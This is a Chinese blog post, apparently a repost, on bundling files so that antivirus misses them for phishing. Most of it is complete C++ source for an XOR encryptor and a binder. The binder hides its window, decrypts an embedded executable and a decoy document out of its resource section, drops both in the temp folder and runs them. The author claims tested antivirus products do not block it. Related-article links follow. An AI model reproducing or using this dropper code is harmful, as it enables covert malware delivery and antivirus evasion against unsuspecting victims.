浅谈捆绑免杀技术

2024-04-07 00:20
文章标签 技术 浅谈 免杀 捆绑

本文主要是介绍浅谈捆绑免杀技术,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 前记
    • 浅谈原理
    • 代码汇总
    • 后记
    • reference

前记

看到奇安信某篇钓鱼捆绑技术的文章后得到启发,于是开始学习探索

浅谈原理

将exe和pdf或者其他格式的文件写到资源节中,执行捆绑文件的时候动态获取并解密资源节的内容保存到磁盘的tmp目录,最后执行保存到磁盘的文件即可

代码汇总

加密文件

#include<windows.h>  
#include <iostream>  
using namespace std;
int main(int argc, char* argv[])
{int r = 100;HANDLE file = CreateFileA(argv[1], GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);DWORD64 size = GetFileSize(file, NULL);char* bytes =(char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);ReadFile(file, bytes, size, NULL, NULL);HANDLE file2 = CreateFileA("sec.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);LPVOID res = bytes;int b;DWORD64 c = size;srand(r);while (c--) {b = rand() % 255 + 1;//1-255*bytes^= b;bytes++;}if (!WriteFile(file2, res, size, NULL, NULL)) {std::cerr << "Error writing to file" << std::endl;DWORD aaa=GetLastError();return 1;}CloseHandle(file2);CloseHandle(file);return 0;
}

捆绑文件

#include <iostream>
#include <windows.h>int r=100;
using namespace std;
static int num = 0;void getreal(char *dest,char *src, DWORD num)
{int b;srand(r);while (num--) {b = rand() % 255 + 1;//1-255*dest++ = *src++^b;}
}
void HideWindow() {HWND hwnd = GetForegroundWindow();if (hwnd) {ShowWindow(hwnd, SW_HIDE);}
}
void EnumTypesFunc(HMODULE hModule, LPTSTR lpType, LPTSTR lParam) {num++;DWORD dwNum = WideCharToMultiByte(CP_OEMCP, NULL, lpType, -1, NULL, 0, NULL, FALSE);char* fileType =new char[dwNum];WideCharToMultiByte(CP_OEMCP, NULL, lpType, -1, fileType, dwNum, NULL, FALSE);CHAR PathFileName[MAX_PATH] = { 0 };CHAR FileName[MAX_PATH] = { 0 };HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(100 + num), fileType);HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);DWORD FileSize = SizeofResource(NULL, Resource);LPVOID PFILE = LockResource(ResourceGlobal);GetModuleFileNameA(NULL, PathFileName, MAX_PATH);strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);string FileNameFinal = FileName;FileNameFinal.replace(FileNameFinal.rfind('.'), 4, "." + string(fileType));CHAR czTempPath[MAX_PATH] = { 0 };GetTempPathA(MAX_PATH, czTempPath);FileNameFinal = czTempPath + FileNameFinal;strcpy_s(FileName, FileNameFinal.c_str());HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);DWORD dwSize;char *real= new char[FileSize];getreal(real,(char *)PFILE,FileSize);WriteFile(FILE, real, FileSize, &dwSize, NULL);CloseHandle(FILE);Sleep(500);SHELLEXECUTEINFOA shellexecute = { 0 };shellexecute.cbSize = sizeof(shellexecute);shellexecute.lpFile = FileName;shellexecute.nShow = SW_SHOW;ShellExecuteExA(&shellexecute);
}int main(int argc, char* argv[])
{HideWindow();EnumResourceTypes(NULL,(ENUMRESTYPEPROC)EnumTypesFunc,0);
}

因为对资源节内容进行了加密,所以这里资源节里完全没有PE特征

在这里插入图片描述

后记

由于解析文件后缀依靠填写的文件真实格式,因此可能被杀软检测到资源节的exe关键字,建议宏定义或者加密处理(懒得改代码了)。经过测试杀软均不拦截且正常运行,当然如果exe文件落地后报毒则和捆绑本身操作无关

reference

https://forum.butian.net/share/1778
https://github.com/testxxxzzz/Bundler-bypass/blob/main/Bundler_C/main.cpp

这篇关于浅谈捆绑免杀技术的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/881216

相关文章

乐鑫 Matter 技术体验日|快速落地 Matter 产品,引领智能家居生态新发展

随着 Matter 协议的推广和普及,智能家居行业正迎来新的发展机遇,众多厂商纷纷投身于 Matter 产品的研发与验证。然而,开发者普遍面临技术门槛高、认证流程繁琐、生产管理复杂等诸多挑战。  乐鑫信息科技 (688018.SH) 凭借深厚的研发实力与行业洞察力,推出了全面的 Matter 解决方案,包含基于乐鑫 SoC 的 Matter 硬件平台、基于开源 ESP-Matter SDK 的一

一份LLM资源清单围观技术大佬的日常;手把手教你在美国搭建「百万卡」AI数据中心;为啥大模型做不好简单的数学计算? | ShowMeAI日报

👀日报&周刊合集 | 🎡ShowMeAI官网 | 🧡 点赞关注评论拜托啦! 1. 为啥大模型做不好简单的数学计算?从大模型高考数学成绩不及格说起 司南评测体系 OpenCompass 选取 7 个大模型 (6 个开源模型+ GPT-4o),组织参与了 2024 年高考「新课标I卷」的语文、数学、英语考试,然后由经验丰富的判卷老师评判得分。 结果如上图所

持久层 技术选型如何决策?JPA,Hibernate,ibatis(mybatis)

转自:http://t.51jdy.cn/thread-259-1-1.html 持久层 是一个项目 后台 最重要的部分。他直接 决定了 数据读写的性能,业务编写的复杂度,数据结构(对象结构)等问题。 因此 架构师在考虑 使用那个持久层框架的时候 要考虑清楚。 选择的 标准: 1,项目的场景。 2,团队的技能掌握情况。 3,开发周期(开发效率)。 传统的 业务系统,通常业

亮相WOT全球技术创新大会,揭秘火山引擎边缘容器技术在泛CDN场景的应用与实践

2024年6月21日-22日,51CTO“WOT全球技术创新大会2024”在北京举办。火山引擎边缘计算架构师李志明受邀参与,以“边缘容器技术在泛CDN场景的应用和实践”为主题,与多位行业资深专家,共同探讨泛CDN行业技术架构以及云原生与边缘计算的发展和展望。 火山引擎边缘计算架构师李志明表示:为更好地解决传统泛CDN类业务运行中的问题,火山引擎边缘容器团队参考行业做法,结合实践经验,打造火山

【杂记-浅谈DHCP动态主机配置协议】

DHCP动态主机配置协议 一、DHCP概述1、定义2、作用3、报文类型 二、DHCP的工作原理三、DHCP服务器的配置和管理 一、DHCP概述 1、定义 DHCP,Dynamic Host Configuration Protocol,动态主机配置协议,是一种网络协议,主要用于在IP网络中自动分配和管理IP地址以及其他网络配置参数。 2、作用 DHCP允许计算机和其他设备通

浅谈 MySQL for excel

欢迎关注微信公众号“Python生态智联”  MySQL for excel是一个大小只有几兆的MySQL附件,它能让我们在Microsoft excel中处理MySQL数据。小编用了两天时间浏览了MySQL for excel的使用指南并按demo演示了一遍(手册地址https://dev.mysql.com/doc/mysql-for-excel/en/),现从功能和局限两方面对MySQL

(1995-2022年) 全国各省份-技术交易活跃度

技术交易活跃度是一个关键指标,用于衡量技术市场的交易频繁程度和活跃性。它不仅显示了市场参与者对技术交易的参与热情,而且交易的频率也体现了市场的活力。这一指标对于不同的利益相关者具有不同的意义: 对投资者而言,技术交易活跃度是把握市场趋势、评估交易策略和预测市场波动的重要工具。对企业来说,技术交易活跃度反映了其技术创新的活跃程度和市场竞争的激烈程度,有助于企业制定技术创新和市场竞争策略。对政策制定

AI与音乐:当技术与艺术发生冲突

AI在创造还是毁掉音乐? 在科技日新月异的今天,人工智能(AI)已经渗透到了我们生活的方方面面,音乐领域也不例外。然而,尽管AI为音乐创作带来了前所未有的便利,我却深感其正在毁掉音乐的本质。 首先,AI的介入使得音乐创作过程变得过于机械化。传统的音乐创作往往需要音乐家们经过长时间的思考、尝试和修改,最终才能创作出触动人心的作品。这一过程不仅体现了音乐家的才华和技艺,更蕴含了他们对生活的感悟和对

IPD推行成功的核心要素(十一)技术规划与平台规划促进公司战略成功

随着外部大环境的影响,各企业仅有良好的愿望是不够的。预测并顺应新兴市场和技术的变化,变危机为转机,不断推出强大的产品才是一个公司持续繁荣的根本保障。而高效的产品开发往往是基于某些关键技术,针对市场推出的一个或几个产品系列,这些产品系列通常共用一些产品平台,共用一种或者几种关键技术。当一家企业进入了平稳发展期,已经建立了较为完善的管理制度和产品开发流程,但是依然认为竞争对手是那样强大,那样不可战胜。

云原生容器技术入门:Docker、K8s技术的基本原理和用途

🐇明明跟你说过:个人主页 🏅个人专栏:《未来已来:云原生之旅》🏅 🔖行路有良友,便是天堂🔖 目录 一、容器技术概述 1、什么是容器技术 2、容器技术的历史与发展 3、容器技术与虚拟机的比较 4、容器技术在云原生中的作用 二、Docker基础 1、Docker简介 2、Docker架构 3、Docker与工作原理 三、Kubernetes(k8s)基础 1、